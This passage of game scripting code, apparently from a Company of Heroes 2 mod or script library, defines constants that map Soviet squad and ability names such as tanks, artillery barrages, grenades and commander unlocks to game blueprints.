IL_2_STUMOVIK_STRAFING_RUN_MP = BP_GetSquadBlueprint("il-2_stumovik_strafing_run_mp"), IL_2_STURMOVIK_ANTI_TANK_BOMB_SQUAD_MP = BP_GetSquadBlueprint("il-2_sturmovik_anti_tank_bomb_squad_mp"), IL_2_STURMOVIK_MARK_VEHICLE_SQUAD_MP = BP_GetSquadBlueprint("il-2_sturmovik_mark_vehicle_squad_mp"), IL_2_STURMOVIK_RECON_SQUAD = BP_GetSquadBlueprint("il-2_sturmovik_recon_squad"), IL_2_STURMOVIK_RECON_SQUAD_MP = BP_GetSquadBlueprint("il-2_sturmovik_recon_squad_mp"), IL_2_STURMOVIK_RECON_SQUAD_SP = BP_GetSquadBlueprint("il-2_sturmovik_recon_squad_sp"), IL_2_STURMOVIK_ROCKET_SP_SQUAD = BP_GetSquadBlueprint("il-2_sturmovik_rocket_sp_squad"), IL_2_STURMOVIK_ROCKET_SP_SQUAD_MP = BP_GetSquadBlueprint("il-2_sturmovik_rocket_sp_squad_mp"), IL_2_STURMOVIK_ROCKET_SQUAD = BP_GetSquadBlueprint("il-2_sturmovik_rocket_squad"), IL_2_STURMOVIK_ROCKET_SQUAD_MP = BP_GetSquadBlueprint("il-2_sturmovik_rocket_squad_mp"), IS_2 = BP_GetSquadBlueprint("is-2"), IS_2_MP = BP_GetSquadBlueprint("is-2_mp"), IS_2_TOW = BP_GetSquadBlueprint("is-2_tow"), ISU_152 = BP_GetSquadBlueprint("isu-152"), ISU_152_MP = BP_GetSquadBlueprint("isu-152_mp"), KATYUSHA_BM_13N_SQUAD = BP_GetSquadBlueprint("katyusha_bm-13n_squad"), KATYUSHA_BM_13N_SQUAD_MP = BP_GetSquadBlueprint("katyusha_bm-13n_squad_mp"), KV_1 = BP_GetSquadBlueprint("kv-1"), KV_1_COMMANDER_MP = BP_GetSquadBlueprint("kv-1_commander_mp"), KV_1_MP = BP_GetSquadBlueprint("kv-1_mp"), KV_1_SP = BP_GetSquadBlueprint("kv-1_sp"), KV_2 = BP_GetSquadBlueprint("kv-2"), KV_2_MP = BP_GetSquadBlueprint("kv-2_mp"), KV_2_TOW = BP_GetSquadBlueprint("kv-2_tow"), KV_2_TOW_BATTLE = BP_GetSquadBlueprint("kv-2_tow_battle"), KV_8 = BP_GetSquadBlueprint("kv-8"), KV_8_MP = BP_GetSquadBlueprint("kv-8_mp"), M1931_203MM_B_4_HOWITZER_ARTILLERY = BP_GetSquadBlueprint("m1931_203mm_b-4_howitzer_artillery"), M1931_203MM_B_4_HOWITZER_ARTILLERY_COMMANDER_MP = BP_GetSquadBlueprint("m1931_203mm_b-4_howitzer_artillery_commander_mp"), M1931_203MM_B_4_HOWITZER_ARTILLERY_MP = BP_GetSquadBlueprint("m1931_203mm_b-4_howitzer_artillery_mp"), M1937_152MM_ML_20_ARTILLERY = BP_GetSquadBlueprint("m1937_152mm_ml_20_artillery"), M1937_152MM_ML_20_ARTILLERY_MP = BP_GetSquadBlueprint("m1937_152mm_ml_20_artillery_mp"), M3A1_SCOUT_CAR_SQUAD = BP_GetSquadBlueprint("m3a1_scout_car_squad"), M3A1_SCOUT_CAR_SQUAD_MP = BP_GetSquadBlueprint("m3a1_scout_car_squad_mp"), M5_HALFTRACK_SQUAD = BP_GetSquadBlueprint("m5_halftrack_squad"), M5_HALFTRACK_SQUAD_MP = BP_GetSquadBlueprint("m5_halftrack_squad_mp"), M5_HALFTRACK__ASSAULT_SQUAD_MP = BP_GetSquadBlueprint("m5_halftrack__assault_squad_mp"), AIRBOURNE_PLANE_PARAS = BP_GetSquadBlueprint("airbourne_plane_paras"), CARGO_PLANE_SOVIET = BP_GetSquadBlueprint("cargo_plane_soviet"), SOVIET_ALLIED_CARGO_PLANE = BP_GetSquadBlueprint("soviet_allied_cargo_plane"), SOVIET_76MM_SHERMAN_MP = BP_GetSquadBlueprint("soviet_76mm_sherman_mp"), M1937_53_K_45MM_AT_GUN_SQUAD = BP_GetSquadBlueprint("m1937_53-k_45mm_at_gun_squad"), M1937_53_K_45MM_AT_GUN_SQUAD_MP = BP_GetSquadBlueprint("m1937_53-k_45mm_at_gun_squad_mp"), M1942_ZIS_3_76MM_AT_GUN_SQUAD = BP_GetSquadBlueprint("m1942_zis-3_76mm_at_gun_squad"), M1942_ZIS_3_76MM_AT_GUN_SQUAD_MP = BP_GetSquadBlueprint("m1942_zis-3_76mm_at_gun_squad_mp"), SU_76M = BP_GetSquadBlueprint("su-76m"), SU_76M_MP = BP_GetSquadBlueprint("su-76m_mp"), SU_76M_TOW = BP_GetSquadBlueprint("su-76m_tow"), SU_85 = BP_GetSquadBlueprint("su-85"), SU_85_MP = BP_GetSquadBlueprint("su-85_mp"), T_70M = BP_GetSquadBlueprint("t-70m"), T_70M_MP = BP_GetSquadBlueprint("t-70m_mp"), T_34_76_SQUAD = BP_GetSquadBlueprint("t_34_76_squad"), T_34_76_SQUAD_MP = BP_GetSquadBlueprint("t_34_76_squad_mp"), T_34_85_ADVANCED_SQUAD_MP = BP_GetSquadBlueprint("t_34_85_advanced_squad_mp"), T_34_85_SQUAD = BP_GetSquadBlueprint("t_34_85_squad"), T_34_85_SQUAD_MP = BP_GetSquadBlueprint("t_34_85_squad_mp"), ZIS_6_TRANSPORT_TRUCK = BP_GetSquadBlueprint("zis_6_transport_truck"), ZIS_6_TRANSPORT_TRUCK_MP = BP_GetSquadBlueprint("zis_6_transport_truck_mp"), DSHK_PLANE_HMG = BP_GetSquadBlueprint("dshk_plane_hmg"), PLANE_WEAPON_DROP = BP_GetSquadBlueprint("plane_weapon_drop"), } ABILITY.SOVIET = { CONSCRIPT_COVER_COMBAT_BONUS = BP_GetAbilityBlueprint("conscript_cover_combat_bonus"), CONSCRIPT_IN_COVER_STATIONARY_CAMOUFLAGE_MP = BP_GetAbilityBlueprint("conscript_in_cover_stationary_camouflage_mp"), M3A1_M5_MOVING_ACCURACY_MP = BP_GetAbilityBlueprint("m3a1_m5_moving_accuracy_mp"), SNIPER_DELAYED_COVER_AUTO_CAMOUFLAGE = BP_GetAbilityBlueprint("sniper_delayed_cover_auto_camouflage"), SNIPER_DELAYED_COVER_AUTO_CAMOUFLAGE_MP = BP_GetAbilityBlueprint("sniper_delayed_cover_auto_camouflage_mp"), SNIPER_IN_COVER_AUTO_CAMOUFLAGE = BP_GetAbilityBlueprint("sniper_in_cover_auto_camouflage"), SNIPER_IN_COVER_AUTO_CAMOUFLAGE_MP = BP_GetAbilityBlueprint("sniper_in_cover_auto_camouflage_mp"), SNIPER_TEAM_IN_COVER_AUTO_CAMOUFLAGE_MP = BP_GetAbilityBlueprint("sniper_team_in_cover_auto_camouflage_mp"), SOVIET_HQ_ENGINEER_CALL_IN = BP_GetAbilityBlueprint("soviet_hq_engineer_call_in"), TO_THE_LAST_MAN_MP = BP_GetAbilityBlueprint("to_the_last_man_mp"), FATALITY_FEAR_PROPAGANDA_ARTILLERY = BP_GetAbilityBlueprint("fatality_fear_propaganda_artillery"), FATALITY_INCENDIARY_ARTILLERY = BP_GetAbilityBlueprint("fatality_incendiary_artillery"), FATALITY_KATYUSHA_ROCKETS = BP_GetAbilityBlueprint("fatality_katyusha_rockets"), BUTTON_VEHICLE = BP_GetAbilityBlueprint("button_vehicle"), BUTTON_VEHICLE_MP = BP_GetAbilityBlueprint("button_vehicle_mp"), BUTTON_VEHICLE_TOW = BP_GetAbilityBlueprint("button_vehicle_tow"), CAMPAIGN_SHOCK_FIRE_SUPERIORITY = BP_GetAbilityBlueprint("campaign_shock_fire_superiority"), CONSCRIPT_TANK_DETECTION_MP = BP_GetAbilityBlueprint("conscript_tank_detection_mp"), ENGINEER_DEMO_MP = BP_GetAbilityBlueprint("engineer_demo_mp"), FIELDCRAFT_TRIP_FLARE = BP_GetAbilityBlueprint("fieldcraft_trip_flare"), FIELDCRAFT_TRIP_FLARE_ENGINEERS_MP = BP_GetAbilityBlueprint("fieldcraft_trip_flare_engineers_mp"), FIELDCRAFT_TRIP_FLARE_MP = BP_GetAbilityBlueprint("fieldcraft_trip_flare_mp"), FIRE_SUPERIORITY_AIRBOURNE_MP = BP_GetAbilityBlueprint("fire_superiority_airbourne_mp"), GUARD_ASSAULT_MOVE_TEST_MP = BP_GetAbilityBlueprint("guard_assault_move_test_mp"), IS2_FRAGMENTATION_HE_MP = BP_GetAbilityBlueprint("is2_fragmentation_he_mp"), MERGE_ABILITY = BP_GetAbilityBlueprint("merge_ability"), MERGE_ABILITY_MP = BP_GetAbilityBlueprint("merge_ability_mp"), MORTAR_FIRE_FLARES_ABILITY_120MM_MP = BP_GetAbilityBlueprint("mortar_fire_flares_ability_120mm_mp"), MORTAR_FIRE_FLARES_ABILITY_MP = BP_GetAbilityBlueprint("mortar_fire_flares_ability_mp"), SCORCHED_EARTH_POLICY_TRAP_MP = BP_GetAbilityBlueprint("scorched_earth_policy_trap_mp"), SNIPER_FIRE_FLARES_ABILITY = BP_GetAbilityBlueprint("sniper_fire_flares_ability"), SNIPER_FIRE_FLARES_ABILITY_MP = BP_GetAbilityBlueprint("sniper_fire_flares_ability_mp"), SNIPER_SUPPRESSION_FIRE_ABILITY = BP_GetAbilityBlueprint("sniper_suppression_fire_ability"), SNIPER_SUPPRESSION_FIRE_ABILITY_MP = BP_GetAbilityBlueprint("sniper_suppression_fire_ability_mp"), SOVIET_BARBED_WIRE_CUTTING_ABILITY = BP_GetAbilityBlueprint("soviet_barbed_wire_cutting_ability"), SOVIET_BARBED_WIRE_CUTTING_ABILITY_MP = BP_GetAbilityBlueprint("soviet_barbed_wire_cutting_ability_mp"), B4_203MM_DIRECT_FIRE = BP_GetAbilityBlueprint("b4_203mm_direct_fire"), ISU_152_PIERCING_SHOT_ABILITY = BP_GetAbilityBlueprint("isu_152_piercing_shot_ability"), ISU_152_PIERCING_SHOT_ABILITY_MP = BP_GetAbilityBlueprint("isu_152_piercing_shot_ability_mp"), IL_2_ATTACK_STRAFE = BP_GetAbilityBlueprint("il-2_attack_strafe"), IL_2_BOMBING_RUN_SP = BP_GetAbilityBlueprint("il-2_bombing_run_sp"), IL_2_SUPPORT_PRECISION_SP = BP_GetAbilityBlueprint("il-2_support_precision_sp"), BOMBARDMENT_FX = BP_GetAbilityBlueprint("bombardment_fx"), ISU152_CONCRETE_PIERCING_ROUND_MP = BP_GetAbilityBlueprint("isu152_concrete_piercing_round_mp"), MORTAR_EXPLOSION_FX = BP_GetAbilityBlueprint("mortar_explosion_fx"), MORTAR_EXPLOSION_FX_ICE = BP_GetAbilityBlueprint("mortar_explosion_fx_ice"), AT_76MM_HE_BARRAGE_ABILITY = BP_GetAbilityBlueprint("at_76mm_he_barrage_ability"), AT_76MM_HE_BARRAGE_ABILITY_MP = BP_GetAbilityBlueprint("at_76mm_he_barrage_ability_mp"), B4_203MM_BARRAGE = BP_GetAbilityBlueprint("b4_203mm_barrage"), B4_203MM_BARRAGE_COMMANDER_MP = BP_GetAbilityBlueprint("b4_203mm_barrage_commander_mp"), B4_203MM_BARRAGE_COMMANDER_PRECISE_MP = BP_GetAbilityBlueprint("b4_203mm_barrage_commander_precise_mp"), B4_203MM_BARRAGE_COMMANDER_VET3_MP = BP_GetAbilityBlueprint("b4_203mm_barrage_commander_vet3_mp"), B4_203MM_BARRAGE_COMMANDER_VICTORTARGET_MP = BP_GetAbilityBlueprint("b4_203mm_barrage_commander_victortarget_mp"), B4_203MM_BARRAGE_MP = BP_GetAbilityBlueprint("b4_203mm_barrage_mp"), KATUSHYA_CREEPING_BARRAGE_MP = BP_GetAbilityBlueprint("katushya_creeping_barrage_mp"), KAYTUSHA_ROCKET_TRUCK_BARRAGE = BP_GetAbilityBlueprint("kaytusha_rocket_truck_barrage"), KAYTUSHA_ROCKET_TRUCK_BARRAGE_MP = BP_GetAbilityBlueprint("kaytusha_rocket_truck_barrage_mp"), KAYTUSHA_ROCKET_TRUCK_BARRAGE_VET3_MP = BP_GetAbilityBlueprint("kaytusha_rocket_truck_barrage_vet3_mp"), KAYTUSHA_ROCKET_TRUCK_BARRAGE_VICTORTARGET_MP = BP_GetAbilityBlueprint("kaytusha_rocket_truck_barrage_victortarget_mp"), KAYTUSHA_ROCKET_TRUCK_CREEPING_BARRAGE_MP = BP_GetAbilityBlueprint("kaytusha_rocket_truck_creeping_barrage_mp"), KAYTUSHA_ROCKET_TRUCK_PRECISION_BARRAGE = BP_GetAbilityBlueprint("kaytusha_rocket_truck_precision_barrage"), KAYTUSHA_ROCKET_TRUCK_PRECISION_BARRAGE_MP = BP_GetAbilityBlueprint("kaytusha_rocket_truck_precision_barrage_mp"), ML_20_152MM_BARRAGE_ABILITY = BP_GetAbilityBlueprint("ml_20_152mm_barrage_ability"), ML_20_152MM_BARRAGE_ABILITY_MP = BP_GetAbilityBlueprint("ml_20_152mm_barrage_ability_mp"), ML_20_152MM_BARRAGE_ABILITY_SLOW = BP_GetAbilityBlueprint("ml_20_152mm_barrage_ability_slow"), ML_20_152MM_BARRAGE_ABILITY_SLOW_MP = BP_GetAbilityBlueprint("ml_20_152mm_barrage_ability_slow_mp"), ML_20_152MM_BARRAGE_ABILITY_VET3_MP = BP_GetAbilityBlueprint("ml_20_152mm_barrage_ability_vet3_mp"), ML_20_152MM_BARRAGE_ABILITY_VET_1_MP = BP_GetAbilityBlueprint("ml_20_152mm_barrage_ability_vet_1_mp"), ML_20_152MM_BARRAGE_ABILITY_VICTORTARGET_MP = BP_GetAbilityBlueprint("ml_20_152mm_barrage_ability_victortarget_mp"), ML_20_152MM_BARRAGE_PRECISON_ABILITY_MP = BP_GetAbilityBlueprint("ml_20_152mm_barrage_precison_ability_mp"), SU_76_BARRAGE_ABILITY = BP_GetAbilityBlueprint("su-76_barrage_ability"), SU_76_BARRAGE_ABILITY_MP = BP_GetAbilityBlueprint("su-76_barrage_ability_mp"), MORTAR_PRECISION_BARRAGE_120MM_VET = BP_GetAbilityBlueprint("mortar_precision_barrage_120mm_vet"), MORTAR_PRECISION_BARRAGE_120MM_VET_MP = BP_GetAbilityBlueprint("mortar_precision_barrage_120mm_vet_mp"), MORTAR_PRECISION_BARRAGE_82MM = BP_GetAbilityBlueprint("mortar_precision_barrage_82mm"), MORTAR_PRECISION_BARRAGE_82MM_MP = BP_GetAbilityBlueprint("mortar_precision_barrage_82mm_mp"), SMOKE_120MM_MORTAR_BARRAGE = BP_GetAbilityBlueprint("smoke_120mm_mortar_barrage"), SMOKE_120MM_MORTAR_BARRAGE_MP = BP_GetAbilityBlueprint("smoke_120mm_mortar_barrage_mp"), SMOKE_SYNC_MORTAR_BARRAGE = BP_GetAbilityBlueprint("smoke_sync_mortar_barrage"), SMOKE_SYNC_MORTAR_BARRAGE_MP = BP_GetAbilityBlueprint("smoke_sync_mortar_barrage_mp"), SYNC_MORTAR_BARRAGE = BP_GetAbilityBlueprint("sync_mortar_barrage"), SYNC_MORTAR_BARRAGE_120MM = BP_GetAbilityBlueprint("sync_mortar_barrage_120mm"), SYNC_MORTAR_BARRAGE_120MM_MP = BP_GetAbilityBlueprint("sync_mortar_barrage_120mm_mp"), SYNC_MORTAR_BARRAGE_120MM_VICTORTARGET_MP = BP_GetAbilityBlueprint("sync_mortar_barrage_120mm_victortarget_mp"), SYNC_MORTAR_BARRAGE_MP = BP_GetAbilityBlueprint("sync_mortar_barrage_mp"), SYNC_MORTAR_BARRAGE_VICTORTARGET_MP = BP_GetAbilityBlueprint("sync_mortar_barrage_victortarget_mp"), AIR_DROPPED_MEDICAL_SUPPLIES_AIRBOURNE = BP_GetAbilityBlueprint("air_dropped_medical_supplies_airbourne"), ALLIED_AIR_SUPPLIES = BP_GetAbilityBlueprint("allied_air_supplies"), ANTI_TANK_OVERWATCH = BP_GetAbilityBlueprint("anti_tank_overwatch"), BOOBY_TRAP = BP_GetAbilityBlueprint("booby_trap"), COMMISSAR_HOLD_THE_LINE = BP_GetAbilityBlueprint("commissar_hold_the_line"), COMMISSAR_NOT_ONE_STEP_BACK = BP_GetAbilityBlueprint("commissar_not_one_step_back"), COMMISSAR_PROPAGANDA_ARTILLERY = BP_GetAbilityBlueprint("commissar_propaganda_artillery"), ENGINEER_BOOBY_TRAP = BP_GetAbilityBlueprint("engineer_booby_trap"), FEAR_PROPAGANDA_ARTILLERY = BP_GetAbilityBlueprint("fear_propaganda_artillery"), FIRE_ARTILLERY = BP_GetAbilityBlueprint("fire_artillery"), FORWARD_HQ = BP_GetAbilityBlueprint("forward_hq"), FORWARD_HQ_HOLD_THE_LINE = BP_GetAbilityBlueprint("forward_hq_hold_the_line"), IL_2_ANTI_TANK_BOMB_STRIKE = BP_GetAbilityBlueprint("il-2_anti_tank_bomb_strike"), IL_2_ANTI_TANK_ROCKETS = BP_GetAbilityBlueprint("il-2_anti_tank_rockets"), IL_2_PRECISION_BOMB_STRIKE = BP_GetAbilityBlueprint("il-2_precision_bomb_strike"), IL_2_RECON = BP_GetAbilityBlueprint("il-2_recon"), IL_2_RECON_SINGLEPASS_SP = BP_GetAbilityBlueprint("il-2_recon_singlepass_sp"), IL_2_RECON_SP = BP_GetAbilityBlueprint("il-2_recon_sp"), IL_2_STURMOVIK_ATTACK = BP_GetAbilityBlueprint("il-2_sturmovik_attack"), IL_2_STURMOVIK_ATTACK_ADVANCED = BP_GetAbilityBlueprint("il-2_sturmovik_attack_advanced"), IL_2_SUPPORT = BP_GetAbilityBlueprint("il-2_support"), IL_2_SUPPORT_SP = BP_GetAbilityBlueprint("il-2_support_sp"), IL_2_SUPRESSION_STRAFE = BP_GetAbilityBlueprint("il-2_supression_strafe"), MANPOWER_BLITZ = BP_GetAbilityBlueprint("manpower_blitz"), MARK_VEHICLE = BP_GetAbilityBlueprint("mark_vehicle"), PARTISAN_CONCUSSIVE_TRAP = BP_GetAbilityBlueprint("partisan_concussive_trap"), PARTISAN_DISPATCH = BP_GetAbilityBlueprint("partisan_dispatch"), PARTISAN_DISPATCH_TOW = BP_GetAbilityBlueprint("partisan_dispatch_tow"), ANTI_PERSONNEL_MINES = BP_GetAbilityBlueprint("anti-personnel_mines"), ANTI_TANK_GRENADE_ASSAULT = BP_GetAbilityBlueprint("anti_tank_grenade_assault"), B4_203MM_HOWITZER = BP_GetAbilityBlueprint("b4_203mm_howitzer"), CONSCRIPT_PTRS_UPGRADE = BP_GetAbilityBlueprint("conscript_ptrs_upgrade"), LIGHT_ANTI_VEHICLE_MINES = BP_GetAbilityBlueprint("light_anti_vehicle_mines"), NO_RETREAT_NO_SURRENDER = BP_GetAbilityBlueprint("no_retreat_no_surrender"), REPAIR_STATION = BP_GetAbilityBlueprint("repair_station"), SALVAGE_KITS = BP_GetAbilityBlueprint("salvage_kits"), SOVIET_INDUSTRY = BP_GetAbilityBlueprint("soviet_industry"), TANK_TRAPS = BP_GetAbilityBlueprint("tank_traps"), BASE_CONSCRIPT_DISPATCH = BP_GetAbilityBlueprint("base_conscript_dispatch"), BASE_CONSCRIPT_DISPATCH_MP = BP_GetAbilityBlueprint("base_conscript_dispatch_mp"), COMMISSAR_OFFICER_SQUAD_MP = BP_GetAbilityBlueprint("commissar_officer_squad_mp"), COMMISSAR_SQUAD_MP = BP_GetAbilityBlueprint("commissar_squad_mp"), CONSCRIPT_DISPATCH_MP = BP_GetAbilityBlueprint("conscript_dispatch_mp"), DSHK_MP = BP_GetAbilityBlueprint("dshk_mp"), FRONTOVIKI_CONSCRIPT_DISPATCH = BP_GetAbilityBlueprint("frontoviki_conscript_dispatch"), IS2_DISPATCH_SP = BP_GetAbilityBlueprint("is2_dispatch_sp"), ISU_152_DISPATCH_SP = BP_GetAbilityBlueprint("isu_152_dispatch_sp"), KV_2 = BP_GetAbilityBlueprint("kv-2"), M_42_AT_GUN = BP_GetAbilityBlueprint("m-42_at_gun"), M11_PARTISANS_DISPATCH_KARK98K = BP_GetAbilityBlueprint("m11_partisans_dispatch_kark98k"), M11_PARTISANS_DISPATCH_NAGANT = BP_GetAbilityBlueprint("m11_partisans_dispatch_nagant"), M11_SNIPER_DISPATCH02 = BP_GetAbilityBlueprint("m11_sniper_dispatch02"), M11_SNIPER_DISPATCH02_MP = BP_GetAbilityBlueprint("m11_sniper_dispatch02_mp"), M5_HALFTRACK_ASSAULT = BP_GetAbilityBlueprint("m5_halftrack_assault"), MAXIM_HMG_DISPATCH_SP = BP_GetAbilityBlueprint("maxim_hmg_dispatch_sp"), PARTISANS_COMMANDER_ANTI_INFANTRY = BP_GetAbilityBlueprint("partisans_commander_anti_infantry"), PARTISANS_COMMANDER_ANTI_VEHICLE = BP_GetAbilityBlueprint("partisans_commander_anti_vehicle"), PENAL_TROOP_DISPATCH_SINGLE_SP = BP_GetAbilityBlueprint("penal_troop_dispatch_single_sp"), PENAL_TROOP_DISPATCH_SP = BP_GetAbilityBlueprint("penal_troop_dispatch_sp"), SHERMAN_SOVIET_DISPATCH = BP_GetAbilityBlueprint("sherman_soviet_dispatch"), SHOCK_TROOP_DISPATCH_SP = BP_GetAbilityBlueprint("shock_troop_dispatch_sp"), AIRBOURNE_PARADROP = BP_GetAbilityBlueprint("airbourne_paradrop"), PARADROP_DSHK = BP_GetAbilityBlueprint("paradrop_dshk"), PARADROP_WEAPON_CRATE = BP_GetAbilityBlueprint("paradrop_weapon_crate"), RALLY_POINTS = BP_GetAbilityBlueprint("rally_points"), ANTI_TANK_GRENADE = BP_GetAbilityBlueprint("anti_tank_grenade"), ANTI_TANK_GRENADE_MP = BP_GetAbilityBlueprint("anti_tank_grenade_mp"), ANTI_TANK_GRENADE_NO_REQUIREMENTS_MP = BP_GetAbilityBlueprint("anti_tank_grenade_no_requirements_mp"), CONSCRIPT_ANTI_TANK_GRENADE_ASSAULT_MP = BP_GetAbilityBlueprint("conscript_anti_tank_grenade_assault_mp"), CONSCRIPT_MOLOTOV_COCKTAIL = BP_GetAbilityBlueprint("conscript_molotov_cocktail"), CONSCRIPT_MOLOTOV_COCKTAIL_MP = BP_GetAbilityBlueprint("conscript_molotov_cocktail_mp"), CONSCRIPT_MOLOTOV_COCKTAIL_VET_MP = BP_GetAbilityBlueprint("conscript_molotov_cocktail_vet_mp"), GUARDS_AIRBORNE_THROW_DEFENSIVE_GRENADE_MP = BP_GetAbilityBlueprint("guards_airborne_throw_defensive_grenade_mp"), GUARDS_THROW_DEFENSIVE_GRENADE = BP_GetAbilityBlueprint("guards_throw_defensive_grenade"), GUARDS_THROW_DEFENSIVE_GRENADE_MP = BP_GetAbilityBlueprint("guards_throw_defensive_grenade_mp"), PARTISAN_MOLOTOV_COCKTAIL_MP = BP_GetAbilityBlueprint("partisan_molotov_cocktail_mp"), RGD_1_SMOKE_GRENADE = BP_GetAbilityBlueprint("rgd_1_smoke_grenade"), RGD_1_SMOKE_GRENADE_AIRBOURNE_MP = BP_GetAbilityBlueprint("rgd_1_smoke_grenade_airbourne_mp"), RGD_1_SMOKE_GRENADE_MP = BP_GetAbilityBlueprint("rgd_1_smoke_grenade_mp"), RGD_33_PARTISAN_GRENADE_MP = BP_GetAbilityBlueprint("rgd_33_partisan_grenade_mp"), RG_42_ANTI_PERSONNEL_GRENADE = BP_GetAbilityBlueprint("rg_42_anti_personnel_grenade"), RG_42_ANTI_PERSONNEL_GRENADE_MP = BP_GetAbilityBlueprint("rg_42_anti_personnel_grenade_mp"), SATCHEL_CHARGE_THROW_ABILITY_HOMING_MP = BP_GetAbilityBlueprint("satchel_charge_throw_ability_homing_mp"), SATCHEL_CHARGE_THROW_ABILITY_MP = BP_GetAbilityBlueprint("satchel_charge_throw_ability_mp"), SHOCK_TROOP_SMOKE_GRENADES = BP_GetAbilityBlueprint("shock_troop_smoke_grenades"), T_34_RAMMING_ABILITY = BP_GetAbilityBlueprint("t-34_ramming_ability"), T_34_RAMMING_ABILITY_MP = BP_GetAbilityBlueprint("t-34_ramming_ability_mp"), SOVIET_CONSCRIPT_REPAIR_ABILITY = BP_GetAbilityBlueprint("soviet_conscript_repair_ability"), SOVIET_CONSCRIPT_REPAIR_ABILITY_MP = BP_GetAbilityBlueprint("soviet_conscript_repair_ability_mp"), SOVIET_REPAIR_ABILITY = BP_GetAbilityBlueprint("soviet_repair_ability"), SOVIET_REPAIR_ABILITY_MP = BP_GetAbilityBlueprint("soviet_repair_ability_mp"), ENGINEER_SALVAGE_WRECK = BP_GetAbilityBlueprint("engineer_salvage_wreck"), ANTI_TANK_45MM_AMMO_SWITCH_AP_SHELL_MP = BP_GetAbilityBlueprint("anti_tank_45mm_ammo_switch_ap_shell_mp"), ANTI_TANK_45MM_AMMO_SWITCH_CANNISTER_SHELL_MP = BP_GetAbilityBlueprint("anti_tank_45mm_ammo_switch_cannister_shell_mp"), CONSCRIPT_OORAH = BP_GetAbilityBlueprint("conscript_oorah"), CONSCRIPT_OORAH_MP = BP_GetAbilityBlueprint("conscript_oorah_mp"), DSHK_ARMOR_PIERCING = BP_GetAbilityBlueprint("dshk_armor_piercing"), IS2_TANK_DEFENSIVE_WEAPON_MP = BP_GetAbilityBlueprint("is2_tank_defensive_weapon_mp"), ISU152_AMMO_SWITCH_AP_SHELL_MP = BP_GetAbilityBlueprint("isu152_ammo_switch_ap_shell_mp"), ISU152_AMMO_SWITCH_HE_SHELL_MP = BP_GetAbilityBlueprint("isu152_ammo_switch_he_shell_mp"), KV_2_INSPIRE_MP = BP_GetAbilityBlueprint("kv_2_inspire_mp"), M42_TRACKING_UI_UI_ITEM_MP = BP_GetAbilityBlueprint("m42_tracking_ui_ui_item_mp"), M5_M3A1_OVERDRIVE = BP_GetAbilityBlueprint("m5_m3a1_overdrive"), M5_M3A1_OVERDRIVE_MP = BP_GetAbilityBlueprint("m5_m3a1_overdrive_mp"), MAXIM_SUSTAINED_FIRE_MP = BP_GetAbilityBlueprint("maxim_sustained_fire_mp"), PENAL_OORAH_MP = BP_GetAbilityBlueprint("penal_oorah_mp"), SHERMAN76MM_AMMO_SWITCH_AP_SHELL_MP = BP_GetAbilityBlueprint("sherman76mm_ammo_switch_ap_shell_mp"), SHERMAN76MM_AMMO_SWITCH_HE_SHELL_MP = BP_GetAbilityBlueprint("sherman76mm_ammo_switch_he_shell_mp"), SNIPER_HMG_SPRINT = BP_GetAbilityBlueprint("sniper_hmg_sprint"), SNIPER_HMG_SPRINT_MP = BP_GetAbilityBlueprint("sniper_hmg_sprint_mp"), SOVIET_COMMISSAR_MEDIC_TIMED_AREA_HEAL_MP = BP_GetAbilityBlueprint("soviet_commissar_medic_timed_area_heal_mp"), SU76_SU85_ZIS3_53K_ISU152_INFANTRY_TRACKING = BP_GetAbilityBlueprint("su76_su85_zis3_53k_isu152_infantry_tracking"), SU76_SU85_ZIS3_53K_ISU152_INFANTRY_TRACKING_MP = BP_GetAbilityBlueprint("su76_su85_zis3_53k_isu152_infantry_tracking_mp"), T70_CREW_REPAIR_ABILITY = BP_GetAbilityBlueprint("t70_crew_repair_ability"), T70_CREW_REPAIR_ABILITY_MP = BP_GetAbilityBlueprint("t70_crew_repair_ability_mp"), VEHICLE_CREW_REPAIR_ABILITY = BP_GetAbilityBlueprint("vehicle_crew_repair_ability"), VEHICLE_CREW_REPAIR_ABILITY_MP = BP_GetAbilityBlueprint("vehicle_crew_repair_ability_mp"), FORWARD_HQ_RALLY_DEFENSES = BP_GetAbilityBlueprint("forward_hq_rally_defenses"), FOR_MOTHER_RUSSIA_ABILITY = BP_GetAbilityBlueprint("for_mother_russia_ability"), HOLD_THE_LINE = BP_GetAbilityBlueprint("hold_the_line"), RAPID_CONSCRIPTION = BP_GetAbilityBlueprint("rapid_conscription"), SCORCHED_EARTH_POLICY = BP_GetAbilityBlueprint("scorched_earth_policy"), SCORCHED_EARTH_POLICY_MP = BP_GetAbilityBlueprint("scorched_earth_policy_mp"), SOVIET_WAR_MACHINE_SP = BP_GetAbilityBlueprint("soviet_war_machine_sp"), SPY_NETWORK = BP_GetAbilityBlueprint("spy_network"), TANK_DETECTION_ABILITY = BP_GetAbilityBlueprint("tank_detection_ability"), SCORCHED_EARTH_MP = BP_GetAbilityBlueprint("scorched_earth_mp"), CMD_120MM_MORTAR_CREW = BP_GetAbilityBlueprint("cmd_120mm_mortar_crew"), CMD_ADVANCED_T34_85_MEDIUM_TANK = BP_GetAbilityBlueprint("cmd_advanced_t34_85_medium_tank"), CMD_AT_GUN_AMBUSH_TACTICS_MP = BP_GetAbilityBlueprint("cmd_at_gun_ambush_tactics_mp"), CMD_CONSCRIPT_ASSAULT_PACKAGE = BP_GetAbilityBlueprint("cmd_conscript_assault_package"), CMD_CONSCRIPT_EVASIVE_TACTICS = BP_GetAbilityBlueprint("cmd_conscript_evasive_tactics"), CMD_CONSCRIPT_REPAIR_KIT = BP_GetAbilityBlueprint("cmd_conscript_repair_kit"), CMD_GUARD_TROOPS = BP_GetAbilityBlueprint("cmd_guard_troops"), CMD_IS2_HEAVY_TANK = BP_GetAbilityBlueprint("cmd_is2_heavy_tank"), CMD_ISU_152 = BP_GetAbilityBlueprint("cmd_isu-152"), CMD_KATYUSHA = BP_GetAbilityBlueprint("cmd_katyusha"), CMD_KV_1_UNLOCK = BP_GetAbilityBlueprint("cmd_kv-1_unlock"), CMD_KV_8_UNLOCK_MP = BP_GetAbilityBlueprint("cmd_kv-8_unlock_mp"), CMD_ML_20 = BP_GetAbilityBlueprint("cmd_ml_20"), CMD_PENAL_BATTALION = BP_GetAbilityBlueprint("cmd_penal_battalion"), CMD_RADIO_INTERCEPT = BP_GetAbilityBlueprint("cmd_radio_intercept"), CMD_SHOCK_TROOPS = BP_GetAbilityBlueprint("cmd_shock_troops"), CMD_SOVIET_INDUSTRY = BP_GetAbilityBlueprint("cmd_soviet_industry"), CMD_T34_85_MEDIUM_TANK = BP_GetAbilityBlueprint("cmd_t34_85_medium_tank"), 